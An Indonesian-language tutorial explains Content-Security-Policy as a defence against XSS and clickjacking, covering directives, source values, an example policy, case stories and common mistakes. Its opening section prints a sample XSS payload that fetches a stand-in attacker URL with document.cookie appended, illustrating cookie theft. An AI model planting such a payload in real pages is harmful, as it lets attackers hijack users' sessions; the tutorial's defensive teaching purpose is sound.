Dalam satu kalimat
Content-Security-Policy (CSP) adalah standar keamanan, dikirim lewat HTTP header, yang memberitahu browser sumber konten mana saja (seperti script, gambar, dan style) yang terpercaya dan boleh di-load, efektifnya bertindak sebagai penjaga pintu untuk menolak suntikan kode berbahaya.
Masalah yang diselesaikannya
Dulu, di zaman koboi internet, keamanan itu agak dikesampingkan. Salah satu penjahat paling nyebelin yang muncul adalah Cross-Site Scripting, atau XSS. Singkatnya, XSS adalah serangan di mana aktor jahat berhasil menyuntikkan kode berbahaya mereka (biasanya JavaScript) ke dalam website yang kamu percaya.
Bayangkan sebuah blog dengan kolom komentar. Kamu, sebagai developer, membangun situsnya dengan hati-hati. Tapi kamu kelewatan satu bug kecil dalam caramu menampilkan komentar. Seorang penyerang datang dan, bukannya menulis "Postingannya bagus!", mereka mengirim komentar seperti ini:
<script>
// Curi session cookie pengguna yang sedang login
fetch('https://server-jahat-penyerang.com/curi?cookie=' + document.cookie);
</script>
Sekarang, setiap pengguna lain yang melihat postingan blog itu, browser-nya akan mengeksekusi script ini. Karena script itu berjalan di domain blog kamu, script itu punya akses ke semua hal yang bisa diakses script sah, seperti session cookie pengguna. Si penyerang sekarang bisa membajak sesi mereka dan menyamar sebagai mereka. Gawat.
Selama bertahun-tahun, satu-satunya pertahanan adalah dengan membersihkan setiap input dari pengguna secara teliti. Ini disebut "validasi input dan enkoding output," dan ini masih sangat penting. Tapi, ini juga susah banget untuk bisa 100% benar, 100% setiap saat. Satu kesalahan kecil saja, dan kamu rentan diserang.
CSP lahir dari kebutuhan akan "pertahanan berlapis." Idenya sederhana: gimana kalau server bisa bilang ke browser, "Hei, aku tahu aku harusnya sempurna, tapi jaga-jaga kalau aku bikin salah dan ngebolehin script jahat masuk, aku mau kamu menegakkan beberapa aturan buatku. Cuma eksekusi script yang datang dari domainku sendiri, my-app.com, dan dari Google Analytics. Kalau kamu lihat script dari sumber lain, blokir aja dan kasih tahu aku."
Itulah CSP. Ini adalah garis pertahanan kedua yang beroperasi langsung di browser pengguna, mengubahnya dari korban pasif menjadi agen keamanan aktif.
Cara kerjanya di balik layar
CSP itu bukan sihir; ini cuma sebaris teks yang dikirim dalam header respons HTTP. Dua header utamanya adalah:
Content-Security-Policy: Menegakkan kebijakan. Jika sebuah resource melanggar kebijakan, ia akan diblokir.Content-Security-Policy-Report-Only: Mode "simulasi". Header ini akan melaporkan pelanggaran tapi tidak benar-benar memblokir apa pun. Ini anugerah banget buat ngetes dan mendeploy kebijakan baru tanpa merusak situsmu.
Nilai dari header ini adalah serangkaian directive, masing-masing diakhiri dengan titik koma. Sebuah directive terdiri dari nama dan daftar sumber yang diizinkan.
Directive yang Umum
Anggap directive sebagai kategori konten yang ingin kamu kontrol.
| Directive | Mengontrol... | Apa yang dicakup |
|---|---|---|
default-src |
Cadangan (fallback) | Daftar sumber default untuk sebagian besar directive -src lain jika tidak ditentukan. Atur ini dulu! |
script-src |
Script | Sumber JavaScript, termasuk tag script, handler inline (onclick), dan lainnya. Ini yang paling penting untuk XSS. |
style-src |
Stylesheet | File CSS, tag style, dan atribut style inline. |
img-src |
Gambar | Tag <img>, favicon, dll. |
connect-src |
Koneksi | URL untuk fetch(), XMLHttpRequest, WebSocket, dll. Front-end kamu boleh ngobrol sama siapa aja? |
font-src |
Font | Web font yang di-load lewat @font-face. |
frame-src |
Frame | Sumber untuk elemen <iframe> dan <frame>. |
report-uri |
Pelaporan | (Sudah usang tapi umum) URL tempat browser mengirim laporan JSON tentang pelanggaran kebijakan. |
report-to |
Pelaporan | Pengganti modern untuk report-uri, menggunakan Reporting API. |
Nilai Source yang Umum
Untuk setiap directive, kamu menentukan dari mana konten boleh berasal.
| Source | Artinya | Contoh |
|---|---|---|
'self' |
Origin yang sama | Mengizinkan konten dari domain, skema, dan port yang sama dengan dokumen. |
'none' |
Tidak ada | Memblokir semua konten untuk directive tersebut. object-src 'none' adalah ide yang sangat bagus. |
example.com |
Host spesifik | Mengizinkan konten dari example.com. |
*.example.com |
Host dengan wildcard | Mengizinkan konten dari subdomain apa pun dari example.com. Gunakan dengan hati-hati! |
https: |
Skema (scheme) | Mengizinkan konten dari sumber mana pun melalui HTTPS. |
'unsafe-inline' |
Kode inline | Mengizinkan tag <script> dan <style> inline, dan atribut style atau onclick. Hindari jika memungkinkan! |
'unsafe-eval' |
Kode dinamis | Mengizinkan fungsi evaluasi string seperti eval(). Risiko keamanan yang besar. |
'nonce-...' |
Nonce kriptografis | Mengizinkan script inline jika atribut nonce-nya cocok dengan yang ada di header. Bagus untuk menggunakan script inline tertentu dengan aman. |
'sha256-...' |
Hash | Mengizinkan script atau style inline jika hash SHA256-nya cocok dengan yang ada di header. |
Merangkai Semuanya
Mari kita lihat kebijakan yang realistis untuk aplikasi web modern:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Mari kita bedah ini:
default-src 'self': Secara default, hanya izinkan resource dari origin kita sendiri.script-src ...: Kita mengizinkan script dari origin kita sendiri, dari penyedia analytics kita, dan script inline apa pun yang memiliki nilainoncespesifik. Server akan menghasilkan nonce acak baru untuk setiap pemuatan halaman.style-src 'self' 'unsafe-inline': Kita mengizinkan stylesheet dari origin kita. Adanya'unsafe-inline'menunjukkan mungkin kita punya kode lama yang menyuntikkan atributstyle, yang merupakan situasi umum (meskipun tidak ideal).img-src ...: Gambar bisa datang dari origin kita, sebagai URIdata:, atau dari CDN gambar khusus kita.connect-src ...: JavaScript front-end kita hanya diizinkan untuk melakukan panggilan API ke origin kita sendiri danapi.my-app.com.font-src 'none',object-src 'none': Kita tidak menggunakan font kustom atau plugin seperti Flash, jadi kita blokir sepenuhnya.frame-ancestors 'none': Ini mencegah situs lain menempatkan situs kita di dalam<iframe>, yang menghentikan serangan clickjacking.report-to csp-endpoint: Kirim laporan pelanggaran ke endpoint pelaporan bernamacsp-endpoint(dikonfigurasi di tempat lain).
Kisah nyata
Skimmer di E-Commerce
Sebuah toko online ukuran menengah menambahkan widget chat pihak ketiga ke situs mereka untuk membantu layanan pelanggan. Mereka menambahkan domain widget tersebut ke directive script-src mereka dan ngira mereka udah aman. Yang tidak mereka ketahui adalah perusahaan widget chat itu sendiri kena bobol, dan seorang penyerang memodifikasi file script widget tersebut. Versi baru yang berbahaya itu mencuri nomor kartu kredit dari halaman checkout. Karena CSP toko tersebut mempercayai domain sumbernya, script jahat itu di-load dan dieksekusi tanpa masalah selama berminggu-minggu.
Pelajaran: CSP-mu adalah rantai kepercayaan. Saat kamu mengizinkan domain pihak ketiga, kamu tidak hanya mempercayai perusahaan itu; kamu mempercayai keamanan mereka, pipeline deployment mereka, dan semua dependensi mereka. Subresource Integrity (SRI) adalah alat lain yang dapat membantu mengurangi risiko spesifik ini.
Peluncuran Bertahap
Sebuah organisasi media besar ingin menerapkan CSP yang ketat di situs berita mereka yang ramai pengunjung. Mereka tahu bahwa mendeploy semuanya sekaligus bisa merusak iklan, video, dan fitur-fitur lainnya. Bukannya langsung di-launching, mereka mendeploy kebijakan dalam mode Content-Security-Policy-Report-Only. Selama dua minggu, mereka hanya mengumpulkan data. Endpoint report-uri mereka kebanjiran ribuan laporan per jam. Mereka menyalurkan laporan ini ke database dan membangun dasbor yang menunjukkan resource yang paling sering diblokir dan halaman tempat mereka diblokir. Mereka menemukan puluhan script pelacakan lawas yang terlupakan, domain jaringan iklan, dan dependensi pemutar video. Secara sistematis, mereka menghapus resource lama atau menambahkan yang sah ke daftar putih kebijakan mereka. Setelah sebulan penyempurnaan, mereka akhirnya mengaktifkan mode penegakan. Tidak ada yang rusak.
Pelajaran: Jangan asal jalan. Gunakan mode Report-Only sebagai kopilotmu. Ini memungkinkan kamu membangun kebijakan yang sempurna dan sesuai dunia nyata berdasarkan lalu lintas pengguna aktual, mengubah tugas keamanan yang menakutkan menjadi masalah analisis data yang bisa dikelola.
Ancaman Ekstensi Browser
Seorang karyawan di sebuah perusahaan keuangan menggunakan ekstensi browser populer yang "mempercantik" halaman web dengan menyuntikkan CSS dan JavaScript-nya sendiri. Di sebagian besar situs, ini tidak berbahaya. Tapi saat dia login ke portal keuangan internal perusahaannya, situs itu nggak mau jalan dengan benar. Bingung, dia menelepon IT. Seorang developer melihat konsol browser dan melihat serangkaian error pelanggaran CSP: portal tersebut memblokir script dan style ekstensi agar tidak disuntikkan. CSP ketat portal itu, yang hanya mengizinkan script dan style dari 'self', telah dengan benar mengidentifikasi kode ekstensi sebagai resource asing yang tidak tepercaya dan memblokirnya. Hal ini mencegah potensi kebocoran data dari ekstensi yang niatnya baik tapi invasif.
Pelajaran: CSP yang kuat melindungi pengguna tidak hanya dari potensi bug-mu sendiri, tetapi juga dari ancaman di dalam lingkungan browser mereka sendiri, seperti ekstensi berbahaya atau yang terlalu permisif.
Kesalahan dan jebakan umum
- Bergantung pada
'unsafe-inline'. Ini adalah jebakan paling umum. Developer menghadapi masalah dengan event handleronclicklama atau tag<script>inline dan langsung pakai'unsafe-inline'sebagai solusi cepat. Ini membuka kembali celah besar untuk serangan XSS. Jalan yang lebih baik adalah me-refactor kode untuk menggunakanaddEventListeneratau, jika kamu benar-benar harus memiliki script inline, gunakan nonce atau hash untuk memasukkannya ke daftar putih secara spesifik. - Lupa
default-src. Jika kamu hanya mengaturscript-srcdanstyle-src, kamu membiarkan vektor lain terbuka. Bagaimana dengan tag<object>? Atau worker? Selalu mulai dengandefault-src 'self'ataudefault-src 'none'yang ketat dan buka hanya apa yang kamu butuhkan per directive. - Menyiapkan pelaporan tapi tidak pernah melihatnya.
report-uriyang menunjuk ke jalan buntu tidak ada gunanya. Laporan pelanggaran adalah sistem peringatan dini kamu. Mereka bisa memberitahumu tentang serangan XSS baru atau memberitahumu bahwa deployment baru-baru ini merusak fitur yang sah untuk sebagian pengguna. Kamu harus punya proses untuk menerima, mengumpulkan, dan meninjau laporan-laporan ini. - Menggunakan wildcard yang terlalu permisif. Sangat menggoda untuk menggunakan
script-src https://*.some-cdn.com, tetapi ini bisa memungkinkan penyerang memuat script darihttps://akun-pengguna-jahat.some-cdn.com. Jadilah sespesifik mungkin dengan nama host-mu. - Mengabaikan
frame-ancestors. XSS memang paling banyak dapat perhatian, tapi clickjacking adalah ancaman nyata lainnya. Seorang penyerang dapat memuat situsmu dalam<iframe>transparan di atas situs jahat mereka sendiri dan menipu pengguna untuk mengklik tombol di situsmu.frame-ancestors 'none'atauframe-ancestors 'self'adalah pertahanan sederhana dan kuat yang sering dilupakan.
Kenapa ini harus kamu perhatikan
Kamu harus memikirkan CSP jika kamu...
- Membangun aplikasi web apa pun yang menangani login pengguna, data pribadi, atau informasi pembayaran.
- Menampilkan konten apa pun yang dikirim oleh pengguna (komentar, profil, postingan forum).
- Mengintegrasikan beberapa script pihak ketiga seperti analytics, iklan, widget dukungan, atau tag manager.
- Menginginkan postur keamanan yang kuat, modern, dan berlapis untuk proyek web apa pun yang tidak sepele.
Singkatnya, jika kamu seorang developer web di abad ke-21, CSP harus menjadi bagian standar dari perangkatmu. Ini bukan lagi fitur eksotis untuk orang yang sangat paranoid; ini adalah bagian fundamental dari keamanan front-end.
Pelajari lebih dalam
- MDN Web Docs: Content Security Policy (CSP) - Panduan dan referensi praktis yang paling lengkap.
- W3C Content Security Policy Level 3 - Spesifikasi resmi. Padat, tapi inilah sumber kebenarannya.
- Google's Web Fundamentals on CSP - Pengenalan tingkat tinggi yang bagus dengan saran praktis.
- report-uri.com - Layanan untuk pengumpulan laporan CSP, dijalankan oleh pakar keamanan Scott Helme, yang blog-nya juga merupakan sumber daya luar biasa tentang topik ini.
- OWASP Cheat Sheet: Content Security Policy - Praktik terbaik yang berfokus pada keamanan dari Open Web Application Security Project.